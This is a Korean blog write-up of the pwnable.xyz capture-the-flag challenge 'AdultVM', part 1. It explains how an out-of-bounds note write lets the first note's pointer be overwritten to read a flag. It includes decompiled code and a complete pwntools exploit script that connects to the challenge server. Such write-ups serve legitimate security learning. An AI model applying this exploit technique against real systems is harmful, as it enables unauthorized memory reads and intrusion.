본문으로 바로가기

pwnable.xyz / AdultVM

category Wargame/pwnable.xyz 2020. 5. 31. 01:28
userland.i64
4.11MB
kernel.i64
0.10MB

 

userland와 kernel의 IDA Database 파일이다. (분석용)

start.py를 로컬에서 python3으로 돌리려면 Queue를 queue로 고쳐주고, 각종 메모리 데이터를 str가 아닌 bytes 형식으로 바꿔줘야 한다. 또 sys.stdin.read를 sys.stdin.buffer.read로 바꿔야 한다.

 

첫 번째 챌린지의 목표는 user space에서 AAR (Arbitary Address Read) 을 하는 것이다.

 

108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
def start_userland():
    with open("/home/ctf/userland"'rb'as f:
        userland = ELFFile(f).get_segment(0).data()
    flag1 = read("/flag1.txt")

    mu = Uc(UC_ARCH_X86, UC_MODE_64)

    mu.mem_map_ptr(USER_ADDRESS, MAPPING_SIZE, UC_PROT_READ | UC_PROT_EXEC, USER_TEXT_MEM)
    mu.mem_map_ptr(USER_ADDRESS + MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_DATA_MEM)
    mu.mem_map_ptr(USER_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_STACK_MEM)

    mu.mem_write(USER_ADDRESS, userland)
    mu.hook_add(UC_HOOK_INSN, handle_syscall, None10, UC_X86_INS_SYSCALL)
    mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_userland_invalid)

    mu.reg_write(UC_X86_REG_RSP, USER_STACK-0x1000)
    mu.reg_write(UC_X86_REG_RIP, USER_ADDRESS)

    mu.mem_write(USER_ADDRESS + MAPPING_SIZE, flag1)

    mu.emu_start(USER_ADDRESS, USER_ADDRESS + len(userland))

    regs = get_syscall_regs(mu)
    regs["rax"] = 60
    kernel_queue.put(regs)

 

유저 프로그램에서 첫 번째 플래그를 딸 수 있다. unicorn engine에서 진짜 플래그를 0x4100000 주소에 쓴다.

 

void __cdecl edit_note()
{
  int id; // [rsp+Ch] [rbp-4h]

  do_write(id_str, 9uLL);
  id = get_int();

  if ( id >= 0 && id <= 9 )
  {
    if ( !notes[id].note )
    {
      notes[id].note = &memory[memory_ptr];
      notes[id].size = 0x38LL;
      notes[id].serial = (unsigned int)(((0x19660D * id + 0x3C6EF35F) >> 31) + 0x19660D * id + 0x3C6EF35F)
                       - ((unsigned __int64)((unsigned __int128)(0x19660D * id + 0x3C6EF35F) >> 64) >> 32);
      memory_ptr += notes[id].size;
    }

    do_write(contents_str, 0xBuLL);
    notes[id].id = id;
    notes[id].show = (void (*)(size_t, char *, size_t, uint64_t))print_note;
    notes[id].size = read_line(notes[id].note, 0x40uLL);
  }
}

 

memory의 크기는 0x200인데 memory_ptr은 0x38만큼 증가한다. id=9 (10번째) 노트의 경우 memory_ptr이 0x1F8이 되기 때문에, notes 배열의 첫 번째 원소를 자유롭게 수정하는 게 가능하다.

 

.note 포인터를 0x4100000 으로 옮기면 플래그를 읽을 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from time import sleep
import argparse
import sys


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def EditNote(nid:intnote:bytes) :
    p.writeline(b'1')
    p.writelineafter(b': 'str(nid).encode())
    p.writeafter(b': ', note)

    if len(note) != 0x40 :
        p.write(b'\n')

def ShowNote(nid:int) -> bytes :
    p.writeline(b'2')
    p.writelineafter(b': 'str(nid).encode())
    p.readuntil(b': ')
    return p.readuntil(b'\n1.'drop=True)

def Exit() :
    p.writeline(b'3')

def exploit() :
    sleep(1)

    for i in range(9) :
        EditNote(i, b'A'*0x40)

    EditNote(9b'A'*8 + p64(0) + p64(0x4100000)[:4])
    flag = ShowNote(0)
    Exit()

    log_info('flag: '+flag.decode())

    p.close()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30048fam='ipv4')
    else :
        p = process(['python3''start3.py'])

    exploit()

 

 

 

Last update: 6/10/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / AdultVM 3  (0) 2020.06.12
pwnable.xyz / AdultVM 2  (0) 2020.06.11
pwnable.xyz / note v4  (0) 2020.05.30
pwnable.xyz / fishing  (0) 2020.05.30
pwnable.xyz / BabyVM  (0) 2020.05.22